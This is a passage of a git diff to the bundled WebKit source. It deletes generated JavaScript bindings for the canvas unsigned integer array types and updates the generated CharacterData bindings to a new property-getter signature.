-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasUnsignedByteArray_h
-#define JSCanvasUnsignedByteArray_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "CanvasUnsignedByteArray.h"
-#include "JSCanvasArray.h"
-
-namespace WebCore {
-
-class CanvasUnsignedByteArray;
-
-class JSCanvasUnsignedByteArray : public JSCanvasArray {
-    typedef JSCanvasArray Base;
-public:
-    JSCanvasUnsignedByteArray(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasUnsignedByteArray>);
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, unsigned propertyName, JSC::PropertySlot&);
-    virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
-    virtual void put(JSC::ExecState*, unsigned propertyName, JSC::JSValue);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-    CanvasUnsignedByteArray* impl() const
-    {
-        return static_cast<CanvasUnsignedByteArray*>(Base::impl());
-    }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    JSC::JSValue getByIndex(JSC::ExecState*, unsigned index);
-    void indexSetter(JSC::ExecState*, unsigned index, JSC::JSValue);
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasUnsignedByteArray*);
-CanvasUnsignedByteArray* toCanvasUnsignedByteArray(JSC::JSValue);
-
-class JSCanvasUnsignedByteArrayPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasUnsignedByteArrayPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = Base::StructureFlags;
-};
-
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedIntArray.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedIntArray.cpp
deleted file mode 100644
index 8a73656..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedIntArray.cpp
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedIntArray.h"
-
-#include "CanvasUnsignedIntArray.h"
-#include <runtime/PropertyNameArray.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasUnsignedIntArray);
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasUnsignedIntArrayPrototypeTableValues[1] =
-{
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasUnsignedIntArrayPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasUnsignedIntArrayPrototypeTableValues, 0 };
-#else
-    { 1, 0, JSCanvasUnsignedIntArrayPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasUnsignedIntArrayPrototype::s_info = { "CanvasUnsignedIntArrayPrototype", 0, &JSCanvasUnsignedIntArrayPrototypeTable, 0 };
-
-JSObject* JSCanvasUnsignedIntArrayPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasUnsignedIntArray>(exec, globalObject);
-}
-
-const ClassInfo JSCanvasUnsignedIntArray::s_info = { "CanvasUnsignedIntArray", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasUnsignedIntArray::JSCanvasUnsignedIntArray(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasUnsignedIntArray> impl)
-    : JSCanvasArray(structure, globalObject, impl)
-{
-}
-
-JSObject* JSCanvasUnsignedIntArray::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasUnsignedIntArrayPrototype(JSCanvasUnsignedIntArrayPrototype::createStructure(JSCanvasArrayPrototype::self(exec, globalObject)));
-}
-
-bool JSCanvasUnsignedIntArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasUnsignedIntArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, index));
-        return true;
-    }
-    return Base::getOwnPropertySlot(exec, propertyName, slot);
-}
-
-bool JSCanvasUnsignedIntArray::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasUnsignedIntArray*>(impl())->length()) {
-        descriptor.setDescriptor(getByIndex(exec, index), DontDelete);
-        return true;
-    }
-    return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
-}
-
-bool JSCanvasUnsignedIntArray::getOwnPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
-{
-    if (propertyName < static_cast<CanvasUnsignedIntArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, propertyName));
-        return true;
-    }
-    return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
-}
-
-void JSCanvasUnsignedIntArray::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok) {
-        indexSetter(exec, index, value);
-        return;
-    }
-    Base::put(exec, propertyName, value, slot);
-}
-
-void JSCanvasUnsignedIntArray::put(ExecState* exec, unsigned propertyName, JSValue value)
-{
-    indexSetter(exec, propertyName, value);
-    return;
-}
-
-void JSCanvasUnsignedIntArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
-{
-    for (unsigned i = 0; i < static_cast<CanvasUnsignedIntArray*>(impl())->length(); ++i)
-        propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
-}
-
-
-JSValue JSCanvasUnsignedIntArray::getByIndex(ExecState* exec, unsigned index)
-{
-    return jsNumber(exec, static_cast<CanvasUnsignedIntArray*>(impl())->item(index));
-}
-CanvasUnsignedIntArray* toCanvasUnsignedIntArray(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasUnsignedIntArray::s_info) ? static_cast<JSCanvasUnsignedIntArray*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedIntArray.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedIntArray.h
deleted file mode 100644
index c53c7ef..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedIntArray.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasUnsignedIntArray_h
-#define JSCanvasUnsignedIntArray_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "CanvasUnsignedIntArray.h"
-#include "JSCanvasArray.h"
-
-namespace WebCore {
-
-class CanvasUnsignedIntArray;
-
-class JSCanvasUnsignedIntArray : public JSCanvasArray {
-    typedef JSCanvasArray Base;
-public:
-    JSCanvasUnsignedIntArray(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasUnsignedIntArray>);
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, unsigned propertyName, JSC::PropertySlot&);
-    virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
-    virtual void put(JSC::ExecState*, unsigned propertyName, JSC::JSValue);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-    CanvasUnsignedIntArray* impl() const
-    {
-        return static_cast<CanvasUnsignedIntArray*>(Base::impl());
-    }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    JSC::JSValue getByIndex(JSC::ExecState*, unsigned index);
-    void indexSetter(JSC::ExecState*, unsigned index, JSC::JSValue);
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasUnsignedIntArray*);
-CanvasUnsignedIntArray* toCanvasUnsignedIntArray(JSC::JSValue);
-
-class JSCanvasUnsignedIntArrayPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasUnsignedIntArrayPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = Base::StructureFlags;
-};
-
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedShortArray.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedShortArray.cpp
deleted file mode 100644
index a15275e..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedShortArray.cpp
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedShortArray.h"
-
-#include "CanvasUnsignedShortArray.h"
-#include <runtime/PropertyNameArray.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasUnsignedShortArray);
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasUnsignedShortArrayPrototypeTableValues[1] =
-{
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasUnsignedShortArrayPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasUnsignedShortArrayPrototypeTableValues, 0 };
-#else
-    { 1, 0, JSCanvasUnsignedShortArrayPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasUnsignedShortArrayPrototype::s_info = { "CanvasUnsignedShortArrayPrototype", 0, &JSCanvasUnsignedShortArrayPrototypeTable, 0 };
-
-JSObject* JSCanvasUnsignedShortArrayPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasUnsignedShortArray>(exec, globalObject);
-}
-
-const ClassInfo JSCanvasUnsignedShortArray::s_info = { "CanvasUnsignedShortArray", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasUnsignedShortArray::JSCanvasUnsignedShortArray(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasUnsignedShortArray> impl)
-    : JSCanvasArray(structure, globalObject, impl)
-{
-}
-
-JSObject* JSCanvasUnsignedShortArray::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasUnsignedShortArrayPrototype(JSCanvasUnsignedShortArrayPrototype::createStructure(JSCanvasArrayPrototype::self(exec, globalObject)));
-}
-
-bool JSCanvasUnsignedShortArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasUnsignedShortArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, index));
-        return true;
-    }
-    return Base::getOwnPropertySlot(exec, propertyName, slot);
-}
-
-bool JSCanvasUnsignedShortArray::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasUnsignedShortArray*>(impl())->length()) {
-        descriptor.setDescriptor(getByIndex(exec, index), DontDelete);
-        return true;
-    }
-    return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
-}
-
-bool JSCanvasUnsignedShortArray::getOwnPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
-{
-    if (propertyName < static_cast<CanvasUnsignedShortArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, propertyName));
-        return true;
-    }
-    return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
-}
-
-void JSCanvasUnsignedShortArray::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok) {
-        indexSetter(exec, index, value);
-        return;
-    }
-    Base::put(exec, propertyName, value, slot);
-}
-
-void JSCanvasUnsignedShortArray::put(ExecState* exec, unsigned propertyName, JSValue value)
-{
-    indexSetter(exec, propertyName, value);
-    return;
-}
-
-void JSCanvasUnsignedShortArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
-{
-    for (unsigned i = 0; i < static_cast<CanvasUnsignedShortArray*>(impl())->length(); ++i)
-        propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
-}
-
-
-JSValue JSCanvasUnsignedShortArray::getByIndex(ExecState* exec, unsigned index)
-{
-    return jsNumber(exec, static_cast<CanvasUnsignedShortArray*>(impl())->item(index));
-}
-CanvasUnsignedShortArray* toCanvasUnsignedShortArray(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasUnsignedShortArray::s_info) ? static_cast<JSCanvasUnsignedShortArray*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedShortArray.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedShortArray.h
deleted file mode 100644
index e9e5127..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedShortArray.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasUnsignedShortArray_h
-#define JSCanvasUnsignedShortArray_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "CanvasUnsignedShortArray.h"
-#include "JSCanvasArray.h"
-
-namespace WebCore {
-
-class CanvasUnsignedShortArray;
-
-class JSCanvasUnsignedShortArray : public JSCanvasArray {
-    typedef JSCanvasArray Base;
-public:
-    JSCanvasUnsignedShortArray(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasUnsignedShortArray>);
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, unsigned propertyName, JSC::PropertySlot&);
-    virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
-    virtual void put(JSC::ExecState*, unsigned propertyName, JSC::JSValue);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-    CanvasUnsignedShortArray* impl() const
-    {
-        return static_cast<CanvasUnsignedShortArray*>(Base::impl());
-    }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    JSC::JSValue getByIndex(JSC::ExecState*, unsigned index);
-    void indexSetter(JSC::ExecState*, unsigned index, JSC::JSValue);
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasUnsignedShortArray*);
-CanvasUnsignedShortArray* toCanvasUnsignedShortArray(JSC::JSValue);
-
-class JSCanvasUnsignedShortArrayPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasUnsignedShortArrayPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = Base::StructureFlags;
-};
-
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCharacterData.cpp b/src/3rdparty/webkit/WebCore/generated/JSCharacterData.cpp
index 2148888..30332eb 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCharacterData.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCharacterData.cpp
@@ -39,9 +39,9 @@ ASSERT_CLASS_FITS_IN_CELL(JSCharacterData);
 
 static const HashTableValue JSCharacterDataTableValues[4] =
 {
-    { "data", DontDelete, (intptr_t)jsCharacterDataData, (intptr_t)setJSCharacterDataData },
-    { "length", DontDelete|ReadOnly, (intptr_t)jsCharacterDataLength, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCharacterDataConstructor, (intptr_t)0 },
+    { "data", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCharacterDataData), (intptr_t)setJSCharacterDataData },
+    { "length", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCharacterDataLength), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCharacterDataConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -80,7 +80,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -103,11 +103,11 @@ bool JSCharacterDataConstructor::getOwnPropertyDescriptor(ExecState* exec, const
 
 static const HashTableValue JSCharacterDataPrototypeTableValues[6] =
 {
-    { "substringData", DontDelete|Function, (intptr_t)jsCharacterDataPrototypeFunctionSubstringData, (intptr_t)2 },
-    { "appendData", DontDelete|Function, (intptr_t)jsCharacterDataPrototypeFunctionAppendData, (intptr_t)1 },
-    { "insertData", DontDelete|Function, (intptr_t)jsCharacterDataPrototypeFunctionInsertData, (intptr_t)2 },
-    { "deleteData", DontDelete|Function, (intptr_t)jsCharacterDataPrototypeFunctionDeleteData, (intptr_t)2 },
-    { "replaceData", DontDelete|Function, (intptr_t)jsCharacterDataPrototypeFunctionReplaceData, (intptr_t)3 },
+    { "substringData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCharacterDataPrototypeFunctionSubstringData), (intptr_t)2 },
+    { "appendData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCharacterDataPrototypeFunctionAppendData), (intptr_t)1 },
+    { "insertData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCharacterDataPrototypeFunctionInsertData), (intptr_t)2 },
+    { "deleteData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCharacterDataPrototypeFunctionDeleteData), (intptr_t)2 },
+    { "replaceData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCharacterDataPrototypeFunctionReplaceData), (intptr_t)3 },
     { 0, 0, 0, 0 }
 };
 
@@ -157,25 +157,27 @@ bool JSCharacterData::getOwnPropertyDescriptor(ExecState* exec, const Identifier
     return getStaticValueDescriptor<JSCharacterData, Base>(exec, &JSCharacterDataTable, this, propertyName, descriptor);
 }
 
-JSValue jsCharacterDataData(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCharacterDataData(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCharacterData* castedThis = static_cast<JSCharacterData*>(asObject(slot.slotBase()));
+    JSCharacterData* castedThis = static_cast<JSCharacterData*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CharacterData* imp = static_cast<CharacterData*>(castedThis->impl());
-    return jsString(exec, imp->data());
+    JSValue result = jsString(exec, imp->data());
+    return result;
 }
 
-JSValue jsCharacterDataLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCharacterDataLength(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCharacterData* castedThis = static_cast<JSCharacterData*>(asObject(slot.slotBase()));
+    JSCharacterData* castedThis = static_cast<JSCharacterData*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CharacterData* imp = static_cast<CharacterData*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
+    JSValue result = jsNumber(exec, imp->length());
+    return result;
 }
 
-JSValue jsCharacterDataConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCharacterDataConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCharacterData* domObject = static_cast<JSCharacterData*>(asObject(slot.slotBase()));
+    JSCharacterData* domObject = static_cast<JSCharacterData*>(asObject(slotBase));
     return JSCharacterData::getConstructor(exec, domObject->globalObject());
 }
 void JSCharacterData::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -185,7 +187,8 @@ void JSCharacterData::put(ExecState* exec, const Identifier& propertyName, JSVal
 
 void setJSCharacterDataData(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CharacterData* imp = static_cast<CharacterData*>(static_cast<JSCharacterData*>(thisObject)->impl());
+    JSCharacterData* castedThisObj = static_cast<JSCharacterData*>(thisObject);
+    CharacterData* imp = static_cast<CharacterData*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setData(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCharacterData.h b/src/3rdparty/webkit/WebCore/generated/JSCharacterData.h
index f06e22b..4df2ac8 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCharacterData.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCharacterData.h
@@ -40,7 +40,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -59,7 +59,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCharacterDataPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -75,10 +75,10 @@ JSC::JSValue JSC_HOST_CALL jsCharacterDataPrototypeFunctionDeleteData(JSC::ExecS
 JSC::JSValue JSC_HOST_CALL jsCharacterDataPrototypeFunctionReplaceData(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCharacterDataData(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCharacterDataData(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCharacterDataData(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCharacterDataLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCharacterDataConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCharacterDataLength(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCharacterDataConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSClientRect.cpp b/src/3rdparty/webkit/WebCore/generated/JSClientRect.cpp
index 48dccd3..bf44967 100644
